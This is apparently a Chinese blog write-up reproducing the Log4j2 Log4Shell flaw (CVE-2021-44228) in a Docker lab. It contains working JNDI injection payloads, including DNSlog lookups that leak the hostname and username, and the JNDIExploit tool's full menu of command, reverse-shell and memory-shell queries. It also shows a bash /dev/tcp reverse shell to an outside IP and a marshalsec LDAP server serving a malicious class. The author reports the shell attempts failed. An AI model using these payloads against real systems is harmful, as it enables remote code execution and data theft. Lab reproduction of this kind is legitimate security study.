复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞
前言
近期Apache Log4j2被暴露了一个严重的远程代码执行安全漏洞(CVE-2021-44228),有严重的安全风险。Apache Log4j2是一款优秀的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。2021年11月24日,阿里云安全团队向apache官方报告了这一漏洞其存在远程命令执行漏洞。
漏洞原理
由于Apache Log4j2某些功能存在递归解析功能,可直接被恶意攻击者构造恶意请求,受影响的应用包括Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。只需检测Java应用是否引入 log4j-api , log4j-core 两个jar。若存在应用使用,极大可能会受到影响。
影响范围
Apache Log4j2 version < Apache Log4j2 2.15.0-rc2
环境搭建&漏洞复现
使用docker直接拉即可
sudo docker pull vulfocus/log4j2-rce-2021-12-09
sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09
启动环境之后可以使用浏览器访问
注入测试参数payload=${jndi:ldap://7mjkro.dnslog.cn/exp}
利用DNSlog还可以实现查看主机名、用户
${jndi:ldap://${env:HOSTNAME}.66ylcg.dnslog.cn/exp}
${jndi:dns://${sys:user.name}.swr800.dnslog.cn}
使用工具JNDIExploit-1.2-SNAPSHOT.jar
参考说明:https://github.com/Jeromeyoung/JNDIExploit-1
使用 java -jar JNDIExploit.jar -h 查看参数说明,其中 --ip 参数为必选参数
使用 java -jar JNDIExploit.jar -u 查看支持的 LDAP 格式
PS C:\Users\JieteWang\Desktop\Log4j-exp\poc> java -jar .\JNDIExploit-1.2-SNAPSHOT.jar -u
Supported LADP Queries:
- all words are case INSENSITIVE when send to ldap server
[+] Basic Queries: ldap://null:1389/Basic/[PayloadType]/[Params], e.g.
ldap://null:1389/Basic/Dnslog/[domain] ldap://null:1389/Basic/Command/[cmd] ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd] ldap://null:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported ldap://null:1389/Basic/TomcatEcho ldap://null:1389/Basic/SpringEcho ldap://null:1389/Basic/WeblogicEcho ldap://null:1389/Basic/TomcatMemshell1 ldap://null:1389/Basic/TomcatMemshell2 ---need extra header [shell: true] ldap://null:1389/Basic/JettyMemshell ldap://null:1389/Basic/WeblogicMemshell1 ldap://null:1389/Basic/WeblogicMemshell2 ldap://null:1389/Basic/JBossMemshell ldap://null:1389/Basic/WebsphereMemshell ldap://null:1389/Basic/SpringMemshell
[+] Deserialize Queries: ldap://null:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
ldap://null:1389/Deserialization/URLDNS/[domain] ldap://null:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain] ldap://null:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd] ldap://null:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported ldap://null:1389/Deserialization/CommonsBeanutils2/TomcatEcho ldap://null:1389/Deserialization/C3P0/SpringEcho ldap://null:1389/Deserialization/Jdk7u21/WeblogicEcho ldap://null:1389/Deserialization/Jre8u20/TomcatMemshell ldap://null:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1 ldap://null:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells
[+] TomcatBypass Queries
ldap://null:1389/TomcatBypass/Dnslog/[domain] ldap://null:1389/TomcatBypass/Command/[cmd] ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd] ldap://null:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported ldap://null:1389/TomcatBypass/TomcatEcho ldap://null:1389/TomcatBypass/SpringEcho ldap://null:1389/TomcatBypass/TomcatMemshell1 ldap://null:1389/TomcatBypass/TomcatMemshell2 ---need extra header [shell: true] ldap://null:1389/TomcatBypass/SpringMemshell
[+] GroovyBypass Queries
ldap://null:1389/GroovyBypass/Command/[cmd] ldap://null:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]
[+] WebsphereBypass Queries
ldap://null:1389/WebsphereBypass/List/file=[file or directory] ldap://null:1389/WebsphereBypass/Upload/Dnslog/[domain] ldap://null:1389/WebsphereBypass/Upload/Command/[cmd] ldap://null:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd] ldap://null:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported ldap://null:1389/WebsphereBypass/Upload/WebsphereMemshell ldap://null:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
java -jar .\JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.101.21
试了很多LDAP格式都未成功,特别是使用Dnslog的时候
${jndi:
ldap://192.168.101.21:1389/TomcatBypass/Command/Base64/dG91Y2ggL3RtcC90ZXN0},
dG91Y2ggL3RtcC90ZXN0是命令【touch /tmp/test】创建一个名叫test的文件
0x01反弹shell
${jndi:
ldap://192.168.101.21:1389/TomcatBypass/Command/Base64/bash -i >& /dev/tcp/192.168.163.129/9990 0>&1}
0x02反弹shell
试了两种方法,都是失败了,怀疑是jdk版本的问题。。。。。。
测试方法如下
使用./src/ExecTemplateJDK7.java 修改里面的host和port为要反弹的地址(如果是linux,使用./src/linux.java就行了,其实就是cmd.exe改成/bin/bash)
然后javac ExecTemplateJDK7.java,生成ExecTemplateJDK7.class
然后在kali上开http服务python3 -m http.server 9092
,以及监听端口nc -l 9091
然后同样在kali上 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://10.10.10.10:9092/#ExecTemplateJDK7 1389
最后${jndi:
ldap://192.168.163.128:1389
}
效果是jdni上收到请求消息
Send LDAP reference result for dd redirecting to
http://192.168.163.128:9092/ExecTemplateJDK7.class
导致一步之前都没得问题,这一步之后就不行了。
httpserver请求 [10/Dec/2021 10:04:39] "GET /ExecTemplateJDK7.class HTTP/1.1" 200
版权归原作者 Jietewang 所有, 如有侵权,请联系我们删除。